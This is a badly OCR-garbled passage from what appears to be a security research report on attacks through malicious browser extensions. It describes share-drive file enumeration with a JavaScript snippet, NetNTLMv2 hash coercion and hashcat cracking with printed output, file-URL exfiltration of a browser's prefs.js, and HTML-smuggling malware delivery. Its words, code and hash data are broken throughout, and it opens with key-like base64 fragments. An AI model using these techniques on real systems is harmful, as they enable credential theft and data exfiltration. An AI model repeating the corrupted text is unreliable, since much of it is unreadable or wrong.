utXbNFXZ4DipayWowy9p3aWE4ZPthwAAAAMBAAEAAAGBAMKE
2N7t1k jUBpOyBd+PPxeSxiZMfriWEQkHB+7ILJeX1QDOHXTh
IK59voQe0yBSp5B4/02aLu+gbfQz8/ivZaLUKrG4ZW/KGhir
rpwZDdVcjITtjo4n/zbr/yL]shctPXFvvSoRjKZHDK3xJAimjvsxp/Xb+mOxuzPW56PHHF
NGc7TLvCt1g29zyhWwjpCuiZpRYIzXDWmay8uXaTIz/Wkwn1lPm3zWn9SDaQTdkmrCYHVCqy
X0jq8UZIxyOyNPAIxsuH4KF5@npTAUKUUW29CNU2RVSOAF1/ttLdqFD1263es/QARIHRT
NNe+JbUME+BuQywZZ fRquuKq+Ho62Zj5xYSAyD210dF It0I9VHCrUT1YK18pAFnGaNXF96W
J1ISwjzpHyexkcWdYkW9ywh8ji2qk7jpR1X21bTSkehywBujClioreVIfgqg0IGasQeMQAA

FigidRe Upon reopening their
showing an al ert

ndGNuCk50QUFBQUF3RUFBUUFBQVIFQ
TItWIRVakxwl3Awd1Y253QyZnpuQXVRdzdue TNGNndsWkJuZ29)VEx]
Z2NCRzBCdHFNclkKK3VrMkxrR =

and
t he

browser
box with

pressing the
userb6s SSH p

THEF4T | nt er nal Net work File Th

Using thechamgues-3asamnHBEFETacker can also re
internal net work drive

Thed tBhar e FHirTilevee t

The beswvordtealapplication for stealing from a
a malicious extension operating as a C2, s u



targeted file theft request s, rat her t han
demonstrate that this would be possible with
to list all files and folders within a shar
shown. From this, a malicious script could n
by opening new tabs, could open multiple fil
popup bl ockers.
var Source = new XMLSerializer().serializeToString(document);
var a = Source.split('<td data-value="");
var 1 = 1;
while (i < a.length) {
console.log(a[i].split('"")[@]);
i++;
}
FiguBeJavaScript to retrieve every filename fro
@ Index of \\windev2308eval\netlc X +
& C @® File | windev2308eval/netlogon/
@ Getting Started & httpsi//google.com/1 &  https://google.com/2 Imported From Fire...
¥ [parent directory]
Name Size Date modified
screensavers/ 29/10/2023, 07:27:07
__| vpnsetup.bat 22B 29/10/2023, 07:33:23
.| vpnsetup.psl 34B 29/10/2023, 07:33:37
‘c [o Elements Console Sources Network Performance Memory  Application Securi
D) @ topv @ Filter
» crbug/1173575, non-3JS module files deprecated.
screensavers/
vpnsetup.bat
vpnsetup.psl
Figude Opening the share drive and triggering the Ja
being |l ogged to the consol e.
The | ack of state on a single JavaScript aut
and far noisier than a C2 counterpart As su

attacker



THEFST Credenti al Coercion

THEFST.Aredenti alkhnOosk tPagsnwGardpr omi s e

Regardless of which browser was wused, the r
Net NTLMv2 hash of the wuser, provided that
which is |l ess common on robust entehpmese en
net works, posing a mor ef s é@mef iucsaenmts.ri sk for

NTLMv2-S5P Client
NTLMv2-S5P Username
NTLMv2-SSP Hash

Figudbe Retrieving the victims Net NTLMV2 hash \

Brute forcing the%®eo hdaidvhee st hhen aHatsahcckaetr | oc al
if they could crack the passwaottlden The ses @ s
subsequent attacks

ub‘hashcat 6.1.1> .\hashcat.exe 0 5600 .\hash.txt .\rockyou.txt
rting

-1 AMD-APP - Platform #1 [Ad ced Micro Dev

Minimum password length supported by kernel: 0
Maximum password length supported b’ ernel: 27

; 1 unique digests, 1 unigue salt
536 entries, 0000FFff mask, k62144 bytes, 5/13 rotates

App11;ah7e optimizers applied:
optimized-Kernel
* Zero-Byte
-Iterated

* single-Hash
Single-salt

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 626 MB

271e; 010lﬂﬂﬂuDOOOOUDGqﬂsjaidaLthdlﬂ 2bc599fa75e807a00000000020008004a0! '00510001001e00570049004e00
054004400530054004d0037004600410054004900 0 00 £004c004F00430041004¢
4c004100430041004c00070008008067a3dab3Tbd90! 0004000200000008003000300000000000
73a3T60a00100000000000000000000000000000000000090026006 3006900660073002F00310039

Figuda®le Cracking the user's NetNTLMV2 hash to retri

e of these <comprtoomitsreidgigestreendRrOEt ir alt £1d. 2 n EX
d E-XEG.

THEFST.Rel aying
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this would require significantl

| so be wused f
y compl ex att

®https://github. com/ hashcat/ hashcat



and relay the requests to a target servi ce
JavaScript execution from an extension to be

An additional l i mitation of relay attacks w
same devi ce, so an additional internal host
attacks, anedvenetawocrekss t o that internal host
THEFGTFi | e Compromi se Vi a Fil
bypass

As discussed in case study 3, the Same Ori gi
from a file directive URL, all owing an att a:
file stored | ocally or on a remote share dr
interpreted as valid JavaScript.

THEF6T. 1 Config theft via Remote Share

By setting the userdés start page to a remote
vi ew an -caotnttarcoklelred webpage in a file context

om | ocal files or ot her i nt ernn atlh es hDaQ M adsr i
r
i

pt and exfiltrating Thtiag atntfaacknadmnloyn wor
h parse as valid JavaScript but does not
h
a

e examplaeasbdl bow, exhi btrate a usero6s pr ¢
i ns some user information.
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false
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true

£ Home

B @ top ¥ o Filter

. \\192.168.18.128\demoshare x +

P C @ > Network > 192.168.18.128 > demoshare

@ New ~

Name

M) Gallery © testhtml

> @ Roy - Personal

@ O [O testhtml x 4+

Test Share Drive Exfiltration

N Sort ~

Elements  Console  Sources  Network Performance

Default levels ¥ © 7

accessibility.typeaheadfind.flashBar
app.installation.timestamp

133408090843795707

app.normandy.first_run

app.normandy .migrationsApplied

app.normandy .user_id
34119416-eall-44f1-9e0d-65127646a010
app.shield.optoutstudies.enabled
app.update.auto.migrated
app.update.background.lastInstalledTaskVersion

app.update.background.rolledout

app.update.download. attempts

= View ~

Date modified Type Size

11/29/2023 3:39 PM

& - @] A (D File | 192.168.18.128/demoshare/test html

Memory

Microsoft Edge HTM...

Application Security Lighthouse

1KB

CSS Ove

Search demoshare Q

rview &

4_

(B Details
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was sdtil o/ / C:/ User s/ Usam/dDotvwhnel owidcst/ itre&¢ . bt

restarted to trigger the attack, resulting i

FiguBe Exfiltrating a file from a share driv
Using a downl oaded fil e dtoe sl ewagrua ge tkmiosvi fnwgn
user name, which could beb5.denoi foethet hcongk
i nf or madtdiiotnn.onal |l y, this specific attack reqt
prefs.js file, but other files may be in a c
exfiltration could be done.

DROPIForced Mal ware Delivery

Forced Mal ware Delivery with Pretext \
By HTML smuggling a malicious file downl oad
redirection to a trusted site, an attacker ¢
dropper onto a victimés device without the u
downl oaded. In the example shown, the XSS v
seaml essly download a malicious executabl e a
update page, giving the user strong reasonin
anwmal i cious action has taken place, and no m
bar at any ti me. This could be done without
mal i cious site first, but i1t could hav,e adde
such as the wuser noticing malicious site be

bl ocked.










































